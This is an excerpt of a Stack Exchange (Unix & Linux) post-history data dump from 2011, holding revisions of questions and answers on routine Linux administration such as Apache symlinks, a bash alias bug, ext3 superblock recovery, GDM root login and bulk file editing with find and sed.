  <row Id="20161" PostHistoryTypeId="2" PostId="8543" RevisionGUID="77b00d1d-8f2c-4a76-9654-14f52cae84f7" CreationDate="2011-03-03T21:15:38.533" UserId="5289" Text="I am running a dokuwiki on an apache webserver. Usually I put media files into the directory /var/lib/dokuwiki/data/media. However, to be more flexible and to save disk space, it would be nice to use symbolic links instead of copying files to that directory.&#xD;&#xA;&#xD;&#xA;Now my question is:&#xD;&#xA;&#xD;&#xA;How to make apache to follow symlinks in the directory /var/lib/dokuwiki/data/media." />
  <row Id="20162" PostHistoryTypeId="1" PostId="8543" RevisionGUID="77b00d1d-8f2c-4a76-9654-14f52cae84f7" CreationDate="2011-03-03T21:15:38.533" UserId="5289" Text="apache symlinks and dokuwiki" />
  <row Id="20163" PostHistoryTypeId="3" PostId="8543" RevisionGUID="77b00d1d-8f2c-4a76-9654-14f52cae84f7" CreationDate="2011-03-03T21:15:38.533" UserId="5289" Text="ésymlinkàéapacheà" />
  <row Id="20164" PostHistoryTypeId="5" PostId="8539" RevisionGUID="03124e9b-a5b6-46ac-b6b9-d30d6757d4d7" CreationDate="2011-03-03T21:51:33.393" UserId="885" Comment="the bug is actually not specific to Windows, thanks to ak2 for pointing this out; extracted a small example" Text="This is a long-standing bug in bash's alias expansion. I could reproduce it on Debian lenny amd64 with bash 3.2.29(1), Debian squeeze i386 with 4.1.5(1), and Windows XP with Cygwin 1.7.7-1 with bash 4.1.9(3).&#xD;&#xA;&#xD;&#xA;A few experiments show that the bug is very sensitive to variations in how the alias is used. `hgfoo` or `hgfoo :` exhibits the bug, but `{ hgfoo :; }` and `(hgfoo)` work fine. Using a function instead of an alias also works.&#xD;&#xA;&#xD;&#xA;I investigated a bit, trying to extract a smaller example. The weirdness seems to stem from having a newline in the alias. Here is a simple example where bash (3.2.29 or 4.1.9) misbehaves. This alias works as expected (from my reading of Single Unix v3) under pdksh, ksh93, ash and zsh under Debian lenny, namely `oops` prints `foo bar`.&#xD;&#xA;&#xD;&#xA;    $ alias oops='a=$(echo bar)&#xD;&#xA;    &gt; echo foo $a'&#xD;&#xA;    $ oops&#xD;&#xA;    foo foo echo bar&#xD;&#xA;&#xD;&#xA;The bug may be related to [a reported bug about “strange delayed aliases”](http://groups.google.com/group/gnu.bash.bug/browse_frm/thread/46c5218bdaad443e/6ff53e38ba966810?q=alias+newline+group:gnu.bash.bug#6ff53e38ba966810), but that discussion focuses on line continuations (backslash-newline) which is not used here.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In any case, use a function! Aliases are for one-liners where you're just specifying some default options for a command. A function would have the additional benefit that you could pass arguments to `hg`:&#xD;&#xA;&#xD;&#xA;    hgfoo () {&#xD;&#xA;      localChanges=$(hg st -m &quot;$@&quot;)&#xD;&#xA;      …&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;I initially thought this was a Cygwin bug, but as [ak2](http://unix.stackexchange.com/users/2978/ak2) pointed out, this bug occurs under Linux as well.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20165" PostHistoryTypeId="5" PostId="8533" RevisionGUID="6d0c731a-31de-4280-9f9d-b8c879e7baf9" CreationDate="2011-03-03T22:01:38.990" UserId="5285" Comment="formatting; added 302 characters in body" Text="I am having a problem with my ubuntu ext3 filesystem. I can't boot from it or mount the volume when running live CD. &#xD;&#xA;&#xD;&#xA;When I try e2fsck I get: &quot;Bad magic number in super-block while trying to open /dev/sda5&quot;. I have tried all the alternative superblocks with the same result. &#xD;&#xA;&#xD;&#xA;I have heard you can delete the journaling system and mount as ext2, but the suggestions on how to do this (eg [this one][1]) all require a valid superblock. Is it credible that all the backup superblocks are corrupted or is there something else going on?&#xD;&#xA;&#xD;&#xA;The filesystem seemed fine before I rebooted, so pretty sure it's recoverable. What else can I try?&#xD;&#xA;&#xD;&#xA;[edit] Output from fdisk&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 320.1 GB, 320072933376 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 38913 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0xa4e507fa&#xD;&#xA;&#xD;&#xA;    /dev/sda1              26        8903    71303168    7  HPFS/NTFS&#xD;&#xA;    /dev/sda2            8903       38914   241061889    5  Extended&#xD;&#xA;    /dev/sda5            8904       13159    34186320   83  Linux&#xD;&#xA;    /dev/sda6           38167       38914     5999616   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           13160       38166   200868696    7  HPFS/NTFS&#xD;&#xA;&#xD;&#xA;output from sudo file - `&lt;/dev/sda5`&#xD;&#xA;&#xD;&#xA;    bash: /dev/sda5: Permission denied&#xD;&#xA; &#xD;&#xA;(What was this supposed to show?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/unix-advanced-expert-users/78965-linux-ext3-superblock-recovery.html" />
  <row Id="20166" PostHistoryTypeId="5" PostId="8513" RevisionGUID="f8c5dfda-e172-4b11-9dcf-db7b86a50233" CreationDate="2011-03-03T22:08:54.640" UserId="2594" Comment="correcting my answer" Text="If you are running Solaris, the way is slightly different from the Linux one suggested:&#xD;&#xA;&#xD;&#xA;    $ for i in $(pgrep bash)&#xD;&#xA;    do&#xD;&#xA;      printf &quot;%6d %s\n&quot; $i $(readlink /proc/$i/path/a.out)&#xD;&#xA;    done&#xD;&#xA;       577 /usr/bin/bash&#xD;&#xA;     11247 /usr/bin/bash&#xD;&#xA;     13921 /usr/bin/bash&#xD;&#xA;     13992 /tmp/bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Should you want to know the current working directory of running processes, you can use:&#xD;&#xA;&#xD;&#xA;    pwdx $(pgrep xmms)&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;    $ pwdx $(pgrep ksh)&#xD;&#xA;    2904: /home/jlliagre&#xD;&#xA;    2906: /home/jlliagre&#xD;&#xA;    3844: /tmp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20167" PostHistoryTypeId="5" PostId="8533" RevisionGUID="2e0c65af-ebf5-4f0f-a64d-a0e42e094c59" CreationDate="2011-03-03T22:45:49.323" UserId="73" Comment="added 15 characters in body" Text="I am having a problem with my ubuntu ext3 filesystem. I can't boot from it or mount the volume when running live CD. &#xD;&#xA;&#xD;&#xA;When I try e2fsck I get: &quot;Bad magic number in super-block while trying to open /dev/sda5&quot;. I have tried all the alternative superblocks with the same result. &#xD;&#xA;&#xD;&#xA;I have heard you can delete the journaling system and mount as ext2, but the suggestions on how to do this (eg [this one][1]) all require a valid superblock. Is it credible that all the backup superblocks are corrupted or is there something else going on?&#xD;&#xA;&#xD;&#xA;The filesystem seemed fine before I rebooted, so pretty sure it's recoverable. What else can I try?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Output from `fdisk`&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 320.1 GB, 320072933376 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 38913 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0xa4e507fa&#xD;&#xA;&#xD;&#xA;    /dev/sda1              26        8903    71303168    7  HPFS/NTFS&#xD;&#xA;    /dev/sda2            8903       38914   241061889    5  Extended&#xD;&#xA;    /dev/sda5            8904       13159    34186320   83  Linux&#xD;&#xA;    /dev/sda6           38167       38914     5999616   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           13160       38166   200868696    7  HPFS/NTFS&#xD;&#xA;&#xD;&#xA;### Output from ``sudo file - `&lt;/dev/sda5` ``&#xD;&#xA;&#xD;&#xA;    bash: /dev/sda5: Permission denied&#xD;&#xA; &#xD;&#xA;(What was this supposed to show?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/unix-advanced-expert-users/78965-linux-ext3-superblock-recovery.html" />
  <row Id="20168" PostHistoryTypeId="5" PostId="8533" RevisionGUID="d6a0069f-3415-481e-977e-002da5e4c0c2" CreationDate="2011-03-03T22:55:07.913" UserId="5285" Comment="more requested info; edited body" Text="I am having a problem with my ubuntu ext3 filesystem. I can't boot from it or mount the volume when running live CD. &#xD;&#xA;&#xD;&#xA;When I try e2fsck I get: &quot;Bad magic number in super-block while trying to open /dev/sda5&quot;. I have tried all the alternative superblocks with the same result. &#xD;&#xA;&#xD;&#xA;I have heard you can delete the journaling system and mount as ext2, but the suggestions on how to do this (eg [this one][1]) all require a valid superblock. Is it credible that all the backup superblocks are corrupted or is there something else going on?&#xD;&#xA;&#xD;&#xA;The filesystem seemed fine before I rebooted, so pretty sure it's recoverable. What else can I try?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Output from `fdisk`&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 320.1 GB, 320072933376 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 38913 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0xa4e507fa&#xD;&#xA;&#xD;&#xA;    /dev/sda1              26        8903    71303168    7  HPFS/NTFS&#xD;&#xA;    /dev/sda2            8903       38914   241061889    5  Extended&#xD;&#xA;    /dev/sda5            8904       13159    34186320   83  Linux&#xD;&#xA;    /dev/sda6           38167       38914     5999616   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           13160       38166   200868696    7  HPFS/NTFS&#xD;&#xA;&#xD;&#xA;### Output from ``sudo file - `&lt;/dev/sda5` ``&#xD;&#xA;&#xD;&#xA;    bash: /dev/sda5: Permission denied&#xD;&#xA; &#xD;&#xA;(What was this supposed to show?)&#xD;&#xA;&#xD;&#xA;### Output from ``sudo file -s `/dev/sda5` ``&#xD;&#xA;&#xD;&#xA;    /dev/sda5: data&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/unix-advanced-expert-users/78965-linux-ext3-superblock-recovery.html" />
  <row Id="20169" PostHistoryTypeId="2" PostId="8544" RevisionGUID="dc6c29d2-8f06-4893-9e94-96a06f85280d" CreationDate="2011-03-03T23:07:52.563" UserId="885" Text="I'm afraid there isn't a recognizable filesystem on this partition any more. It's time to restore from a backup.&#xD;&#xA;&#xD;&#xA;Just in case there's a hardware problem such as bad RAM or a bad cable that's causing wrong data to be read, you can try reading from another machine. But that's very unlikely to be the case if you can neither boot from the partition nor read it from a live CD environment.&#xD;&#xA;&#xD;&#xA;One thing that's suspicious is that you have an extended partition starting at cylinder 8903, but the first logical partition on it starts at cylinder 8904. Try `sudo tail -c +513 /dev/sda2 | file -` to see if there's something recognizable at the very beginning of the extended partition. (I'm not sure the offset is always 512, it might be 4096 or 32256 or some other number; note that you need to add 1 to the offset for the tail command.) If the problem is indeed that your partition table flipped a bit, use `fdisk` or your favorite partition editor to change `/dev/sda5` back to starting at cylinder 8903.&#xD;&#xA;" />
  <row Id="20170" PostHistoryTypeId="2" PostId="8545" RevisionGUID="be8ce041-6d6c-4871-a9e8-df6ab1a8b6eb" CreationDate="2011-03-03T23:16:51.033" UserId="250" Text="I believe [FollowSymLinks][1] is what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/core.html#options" />
  <row Id="20171" PostHistoryTypeId="25" PostId="8538" RevisionGUID="229e1187-9e12-461b-a97c-13ca84969247" CreationDate="2011-03-03T23:23:37.777" Comment="http://twitter.com/#!/StackUnix/status/43451491264102400" />
  <row Id="20172" PostHistoryTypeId="2" PostId="8546" RevisionGUID="1c63c471-489c-4d0e-b843-0ff072d3fca9" CreationDate="2011-03-03T23:34:29.143" UserId="4463" Text="I use this one-liner:&#xD;&#xA;&#xD;&#xA;    IP=$(/sbin/ifconfig | grep -e &quot;inet:&quot; -e &quot;addr:&quot; | grep -v &quot;inet6&quot; | grep -v &quot;127.0.0.1&quot; | head -n 1 | awk '{print $2}' | cut -c6-)&#xD;&#xA;&#xD;&#xA;Uses `ifconfig` (widely available), does not take `localhost` address, does not bind you to a given interface name, does not take into account IPv6 and tries to get the IP of the first network interface available." />
  <row Id="20173" PostHistoryTypeId="2" PostId="8547" RevisionGUID="dc3c50c5-7a91-42ed-a31c-2133662585e9" CreationDate="2011-03-03T23:46:57.027" UserId="5290" Text="I am trying to get wireless working a lenovo g560. I tried following the instructions on the debian site here http://wiki.debian.org/wl but it is not working. At step 7 I get an error that modprobe does not exist. Anybody know of a straightforward tutorial or got any tips?" />
  <row Id="20174" PostHistoryTypeId="1" PostId="8547" RevisionGUID="dc3c50c5-7a91-42ed-a31c-2133662585e9" CreationDate="2011-03-03T23:46:57.027" UserId="5290" Text="Wireless in Debian Squeeze" />
  <row Id="20175" PostHistoryTypeId="3" PostId="8547" RevisionGUID="dc3c50c5-7a91-42ed-a31c-2133662585e9" CreationDate="2011-03-03T23:46:57.027" UserId="5290" Text="édebianàéwirelessà" />
  <row Id="20176" PostHistoryTypeId="2" PostId="8548" RevisionGUID="c4d48981-486d-4b82-9529-adbbd728c3b7" CreationDate="2011-03-04T00:03:50.283" UserId="5286" Text="![Gentlemen, I think we have a winner...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/oV2Yn.jpg&#xD;&#xA;&#xD;&#xA;Well. How's that for fried RAM? Guess that was the culprit, after all.&#xD;&#xA;&#xD;&#xA;Thanks to everyone for their help and advice!" />
  <row Id="20177" PostHistoryTypeId="2" PostId="8549" RevisionGUID="8849c38f-410e-4738-9c7c-960e44919318" CreationDate="2011-03-04T00:15:56.263" UserId="3459" Text="Shawn's answer is great but there is an additional configuration option that might be useful in this situation.&#xD;&#xA;&#xD;&#xA;From `man sudoers`:    &#xD;&#xA;&#xD;&#xA;&gt; **tty_tickets**&#xD;&#xA;&gt; &#xD;&#xA;&gt;If set, users must authenticate on a per-tty basis.  With this flag enabled, sudo will use a file named for the tty the user is logged in on in the user's time stamp directory.  If disabled, the time stamp of the directory is used instead.&#xD;&#xA;&#xD;&#xA;&gt;This flag is on by default.&#xD;&#xA;&#xD;&#xA;From `man sudo`:&#xD;&#xA;&#xD;&#xA;&gt;When the tty_tickets option is enabled in sudoers, the time stamp has per-tty granularity but still may outlive the user's session.  On Linux systems where the devpts filesystem is used, Solaris systems with the devices filesystem, as well as other systems that utilize a devfs filesystem that monotonically increase the inode number of devices as they are created (such as Mac OS X), sudo is able to determine when a tty-based time stamp file is stale and will ignore it.  **Administrators should not rely on this feature as it is not universally available.**&#xD;&#xA;&#xD;&#xA;I think its relatively new. If your system supports it, if you logout then login, sudo will request your password again. (I have `sudo -K` in my shells logout script too.)" />
  <row Id="20178" PostHistoryTypeId="2" PostId="8550" RevisionGUID="79f866a0-15ac-44c7-a5cf-adcc290d32ea" CreationDate="2011-03-04T01:41:47.253" UserId="210" Text="`rm -rf` will fail if something tries to delete the same file tree (I think because `rm` enumerates the files first, then deletes).&#xD;&#xA;&#xD;&#xA;A simple test:&#xD;&#xA;&#xD;&#xA;    # Terminal 1&#xD;&#xA;    for i in `seq 1 1000`; do mkdir -p /tmp/dirtest/$i; done&#xD;&#xA;    &#xD;&#xA;    # Now at teh same time in terminal 1 and 2&#xD;&#xA;    rm -rf /tmp/dirtest&#xD;&#xA;&#xD;&#xA;There will be some output into stderr, e.g.:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    rm: cannot remove directory `/tmp/dirtest/294': No such file or directory&#xD;&#xA;    rm: cannot remove directory `/tmp/dirtest/297': No such file or directory&#xD;&#xA;    rm: cannot remove directory `/tmp/dirtest/304': No such file or directory&#xD;&#xA; &#xD;&#xA;I can ignore all the stderr output by redirecting it to `/dev/null`, but removing of `/tmp/dirtest` actually fails! After both commands are finished, `/tmp/dirtest` is still there.&#xD;&#xA;&#xD;&#xA;How can I make `rm` delete the directory tree properly and really ignore all the errors?" />
  <row Id="20179" PostHistoryTypeId="1" PostId="8550" RevisionGUID="79f866a0-15ac-44c7-a5cf-adcc290d32ea" CreationDate="2011-03-04T01:41:47.253" UserId="210" Text="rm -rf failing if deleting in parallel" />
  <row Id="20180" PostHistoryTypeId="3" PostId="8550" RevisionGUID="79f866a0-15ac-44c7-a5cf-adcc290d32ea" CreationDate="2011-03-04T01:41:47.253" UserId="210" Text="éfilesàérmà" />
  <row Id="20181" PostHistoryTypeId="25" PostId="8550" RevisionGUID="277f1588-a656-4544-baa7-70b9fd8d7c64" CreationDate="2011-03-04T02:23:37.620" Comment="http://twitter.com/#!/StackUnix/status/43496789625683969" />
  <row Id="20183" PostHistoryTypeId="2" PostId="8552" RevisionGUID="cb065050-ed7f-4d95-8bd0-61d6766f77dc" CreationDate="2011-03-04T03:23:28.473" UserId="5294" Text="Turn off SELinux and you won't get these messages anymore - do you really need this feature on?  To turn it off, login as root:&#xD;&#xA;&#xD;&#xA;echo 0 &gt; /selinux/enforce&#xD;&#xA;edit this file:  vi /etc/selinux/config&#xD;&#xA;and change the attribute SELINUX to be SELINUX=disabled&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20184" PostHistoryTypeId="2" PostId="8553" RevisionGUID="7a51cf96-7075-401d-9589-3c0bf8674862" CreationDate="2011-03-04T03:31:28.747" UserId="5294" Text="another one...&#xD;&#xA;for older NICs, the command mii-tool is awesome" />
  <row Id="20185" PostHistoryTypeId="2" PostId="8554" RevisionGUID="cc2499e7-4c60-46ef-84a8-9eb41658adfc" CreationDate="2011-03-04T03:42:25.603" UserId="5295" Text="Unix environment has some excellent tools for parsing text in various forms. However off late the data is not in the regular set of formats(CSV,TSV,Record based or some other delimiter based) it used to be before. Data these days is exchanged in structured formats like XML's/JSON's.&#xD;&#xA;&#xD;&#xA;I know there are some good tools like sed, awk and Perl which can chew down nearly form of data out there. However to work with this sort of structured data often one has to write a complete program and given the little time available to extract information, one has to sit down and figure out the whole logic of what one wants to query and put it down programatically. Sometimes this is not OK. Basically because the information extracted from those files acts inputs for further work. Also because of the time it takes to search for the appropriate solution and coding it up. A command line tool is needed with sufficient switches to find, query and dump data.&#xD;&#xA;&#xD;&#xA;Im looking for tools that take a XML/JSON or other forms of structured data and dump it into other formats like csv etc. So that from there one could use other commands to get any information out of it.&#xD;&#xA;&#xD;&#xA;Are there any command line utilities you know of which do this kind of a job. Are there are already awk/Perl scripts available to this?" />
  <row Id="20186" PostHistoryTypeId="1" PostId="8554" RevisionGUID="cc2499e7-4c60-46ef-84a8-9eb41658adfc" CreationDate="2011-03-04T03:42:25.603" UserId="5295" Text="Parsing XML's , JSON's and newer data file formats in UNIX using command line commands" />
  <row Id="20187" PostHistoryTypeId="3" PostId="8554" RevisionGUID="cc2499e7-4c60-46ef-84a8-9eb41658adfc" CreationDate="2011-03-04T03:42:25.603" UserId="5295" Text="éxmlà" />
  <row Id="20188" PostHistoryTypeId="4" PostId="8554" RevisionGUID="e0e4bd0d-cc0d-4509-b142-82812526c428" CreationDate="2011-03-04T03:47:31.920" UserId="5295" Comment="edited title; deleted 4 characters in body" Text="Parsing XML's , JSON's and newer data file formats in UNIX using command line utilities" />
  <row Id="20189" PostHistoryTypeId="5" PostId="8554" RevisionGUID="e0e4bd0d-cc0d-4509-b142-82812526c428" CreationDate="2011-03-04T03:47:31.920" UserId="5295" Comment="edited title; deleted 4 characters in body" Text="Unix environment has some excellent tools for parsing text in various forms. However off late the data is not in the regular set of formats(CSV,TSV,Record based or some other delimiter based) it used to be before. Data these days is exchanged in structured formats like XML's/JSON's.&#xD;&#xA;&#xD;&#xA;I know there are some good tools like sed, awk and Perl which can chew down nearly form of data out there. However to work with this sort of structured data often one has to write a complete program and given the little time available to extract information, one has to sit down and figure out the whole logic of what one wants to query and put it down programatically. Sometimes this is not OK. Basically because the information extracted from those files acts inputs for further work. Also because of the time it takes to search for the appropriate solution and coding it up. A command line tool is needed with sufficient switches to find, query and dump data.&#xD;&#xA;&#xD;&#xA;Im looking for tools that take a XML/JSON or other forms of structured data and dump it into other formats like csv etc. So that from there one could use other commands to get any information out of it.&#xD;&#xA;&#xD;&#xA;Are there any command line utilities you know of which do this kind of a job. Are there already awk/Perl scripts available to this?" />
  <row Id="20190" PostHistoryTypeId="2" PostId="8555" RevisionGUID="2df20b7c-e5c5-4e56-8975-cbad86aea2ca" CreationDate="2011-03-04T04:58:29.280" UserId="3482" Text="`/sbin` is not part of your `PATH` and thats why its complaining. So try `/sbin/modprobe`.&#xD;&#xA;" />
  <row Id="20193" PostHistoryTypeId="25" PostId="8554" RevisionGUID="3bebd294-e560-405a-a6ad-c9ac9ee68090" CreationDate="2011-03-04T05:23:37.793" Comment="http://twitter.com/#!/StackUnix/status/43542087462957056" />
  <row Id="20194" PostHistoryTypeId="2" PostId="8556" RevisionGUID="d62e20e8-4d49-4d63-8a17-7441bc46ea7b" CreationDate="2011-03-04T05:43:34.780" UserId="5297" Text="Hi, &#xD;&#xA;I have a weird issue going on. I have a user account and I can login to Gnome normally. From a terminal there I can use _su root_ and switch to root with my root password. However, when I try to login to Gnome as root, the same password does not work. Any assistance would be appreciated.&#xD;&#xA;&#xD;&#xA;Fedora 13, Dell Inspiron 6400" />
  <row Id="20195" PostHistoryTypeId="1" PostId="8556" RevisionGUID="d62e20e8-4d49-4d63-8a17-7441bc46ea7b" CreationDate="2011-03-04T05:43:34.780" UserId="5297" Text="Root password not working..." />
  <row Id="20196" PostHistoryTypeId="3" PostId="8556" RevisionGUID="d62e20e8-4d49-4d63-8a17-7441bc46ea7b" CreationDate="2011-03-04T05:43:34.780" UserId="5297" Text="éfedoraàérootà" />
  <row Id="20198" PostHistoryTypeId="2" PostId="8558" RevisionGUID="240b5d27-f3f4-4ba9-9545-0c154955a15c" CreationDate="2011-03-04T06:06:15.680" UserId="3169" Text="You're not allowed to log in to the desktop as root by default.&#xD;&#xA;&#xD;&#xA;See [Enabling Root User for GNOME Display Manager][2].&#xD;&#xA;&#xD;&#xA;See also [GDM Root Login][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Display_Manager#GDM_root_login&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Enabling_Root_User_For_GNOME_Display_Manager" />
  <row Id="20199" PostHistoryTypeId="2" PostId="8559" RevisionGUID="2238ca73-4ae8-4ebd-86af-4bba512ca8f1" CreationDate="2011-03-04T06:07:27.457" UserId="688" Text="I haven't tried this myself, but I found it [here][1].&#xD;&#xA;&#xD;&#xA;1. Comment out this line `auth required pam_succeed_if.so user != root quiet` from &quot;**/etc/pam.d/gdm**&quot;.&#xD;&#xA;2. Comment out the same line from &quot;**/etc/pam.d/gdm-password**&quot;.&#xD;&#xA;&#xD;&#xA;After that, log out and log in as root and see if it works.&#xD;&#xA;&#xD;&#xA;**NOTE**: It's isn't automatic because it's not recommended to log in as root.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.ask4itsolutions.com/2010/04/23/login-as-a-root-from-gui-fedora-13/" />
  <row Id="20200" PostHistoryTypeId="5" PostId="8558" RevisionGUID="ca475b5c-21c6-454a-813b-aacac9a8c3d7" CreationDate="2011-03-04T06:11:23.757" UserId="3169" Comment="added 262 characters in body" Text="You're not allowed to log in to the desktop as root by default.&#xD;&#xA;&#xD;&#xA;See [Enabling Root User for GNOME Display Manager][2], which says:&#xD;&#xA;&#xD;&#xA;1. Log in as a regular user and open a terminal and run  &#xD;&#xA;`su -c 'gedit /etc/pam.d/gdm-password'`&#xD;&#xA;2. Change  &#xD;&#xA; `auth required pam_succeed_if.so user != root quiet` to  &#xD;&#xA; `# auth required pam_succeed_if.so user != root quiet`&#xD;&#xA;3. Save the file&#xD;&#xA;&#xD;&#xA;See also [GDM Root Login][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Display_Manager#GDM_root_login&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Enabling_Root_User_For_GNOME_Display_Manager" />
  <row Id="20201" PostHistoryTypeId="5" PostId="7373" RevisionGUID="e73eac2a-d8f1-4425-80e2-a84f9067cdfc" CreationDate="2011-03-04T06:37:13.000" UserId="688" Comment="deleted 48 characters in body" Text="Google Chrome used to store Youtube videos in `/tmp`, but not since the last two versions. Nor could I find those files in `~/.cache/google-chrome`. Googling for this query produces Windows-specific results. Does anyone have any idea about where these files are stored?&#xD;&#xA;&#xD;&#xA;I am using Fedora 14." />
  <row Id="20202" PostHistoryTypeId="2" PostId="8560" RevisionGUID="2a86a62b-bb0a-413d-b2a5-1736c8c5ede1" CreationDate="2011-03-04T06:37:23.610" UserId="1304" Text="Adding a line to multiple files in the same structure is not very hard, but I am stumped on how to do it over a possibly large directory tree structure.  So lets say we have your project directory, which has hundreds of projects in it and you want to add a header to every *.c file. How can this be done?  remember the files could be quite deep." />
  <row Id="20203" PostHistoryTypeId="1" PostId="8560" RevisionGUID="2a86a62b-bb0a-413d-b2a5-1736c8c5ede1" CreationDate="2011-03-04T06:37:23.610" UserId="1304" Text="How can I add a line to multiple files in a directory tree structure?" />
  <row Id="20204" PostHistoryTypeId="3" PostId="8560" RevisionGUID="2a86a62b-bb0a-413d-b2a5-1736c8c5ede1" CreationDate="2011-03-04T06:37:23.610" UserId="1304" Text="étextöprocessingàéfilesà" />
  <row Id="20205" PostHistoryTypeId="2" PostId="8561" RevisionGUID="613c3677-1047-42ba-900d-292094a84f14" CreationDate="2011-03-04T06:45:54.443" UserId="5298" Text="find . -type f -name &quot;*.c&quot; -exec sed -i &#xD;&#xA;'s|\before the header \)\?|\1(text to add)|g' \&#xD;&#xA;{} \;" />
  <row Id="20206" PostHistoryTypeId="2" PostId="8562" RevisionGUID="c226a408-f246-41be-8339-ca0ff89b4704" CreationDate="2010-03-11T01:18:29.393" UserId="3999" Text="I am looking for an example for a [nautilus][1] (fie manager) connect to service custom location.&#xD;&#xA;&#xD;&#xA;    $ nautilus&#xD;&#xA;&#xD;&#xA;Activate connection editor:&#xD;&#xA;    &#xD;&#xA;    File&gt;Connect To Server...&gt;&#xD;&#xA;&#xD;&#xA;I am looking for an example or two for &quot;Location&quot; in the pop up:&#xD;&#xA;    &#xD;&#xA;    Service Type: [Custom Location]&#xD;&#xA;    Location: [???]&#xD;&#xA;    [x] Add bookmark&#xD;&#xA;    Bookmark name: [xyz]&#xD;&#xA;    &lt;Connect&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Nautilus_(file_manager) &#xD;&#xA;" />
  <row Id="20207" PostHistoryTypeId="1" PostId="8562" RevisionGUID="c226a408-f246-41be-8339-ca0ff89b4704" CreationDate="2010-03-11T01:18:29.393" UserId="3999" Text="Example value for a nautilus (file manager) connect to service custom location." />
  <row Id="20208" PostHistoryTypeId="3" PostId="8562" RevisionGUID="c226a408-f246-41be-8339-ca0ff89b4704" CreationDate="2010-03-11T01:18:29.393" UserId="3999" Text="élinuxàénautilusà" />
  <row Id="20209" PostHistoryTypeId="17" PostId="8562" RevisionGUID="24a85f21-db96-40ea-aeac-9d489478705d" CreationDate="2011-03-04T07:06:02.297" UserId="-1" Comment="from http://superuser.com/questions/118513/example-value-for-a-nautilus-file-manager-connect-to-service-custom-location" Text="" />
  <row Id="20210" PostHistoryTypeId="2" PostId="8563" RevisionGUID="436ac362-10ab-4f29-8656-24cba17685e8" CreationDate="2011-03-04T07:10:00.127" UserId="1946" Text="I guess Perl, Python or Ruby modules can be used successfully for that.  And any of these can be used for scripting." />
  <row Id="20211" PostHistoryTypeId="5" PostId="8561" RevisionGUID="52093e0a-eeea-4050-9af1-141e520f3702" CreationDate="2011-03-04T07:17:42.150" UserId="5298" Comment="deleted 29 characters in body; added 7 characters in body" Text="find ~/foldername -type f -name &quot;*.c&quot; -exec sed -i '1 i addtexthere' {} \;" />
  <row Id="20212" PostHistoryTypeId="2" PostId="8564" RevisionGUID="725339a2-a9e7-40ee-afae-00d29e98e952" CreationDate="2011-03-04T07:51:11.503" UserId="838" Text="for xml there is http://xmlstar.sourceforge.net/&#xD;&#xA;&#xD;&#xA;&gt; XMLStarlet is a set of command line&#xD;&#xA;&gt; utilities (tools) which can be used to&#xD;&#xA;&gt; transform, query, validate, and edit&#xD;&#xA;&gt; XML documents and files using simple&#xD;&#xA;&gt; set of shell commands in similar way&#xD;&#xA;&gt; it is done for plain text files using&#xD;&#xA;&gt; UNIX grep, sed, awk, diff, patch,&#xD;&#xA;&gt; join, etc commands.&#xD;&#xA;&#xD;&#xA;you can also use `xsltproc` and similar tools (`saxon`).&#xD;&#xA;&#xD;&#xA;for json: i also think its better to just use python, ruby, perl and transform it.&#xD;&#xA;" />
  <row Id="20213" PostHistoryTypeId="5" PostId="8561" RevisionGUID="d94c47f7-dbd0-4048-809d-c186e18752d1" CreationDate="2011-03-04T07:59:16.057" UserId="3069" Comment="added 4 characters in body" Text="    find ~/foldername -type f -name &quot;*.c&quot; -exec sed -i '1 i addtexthere' {} \;" />
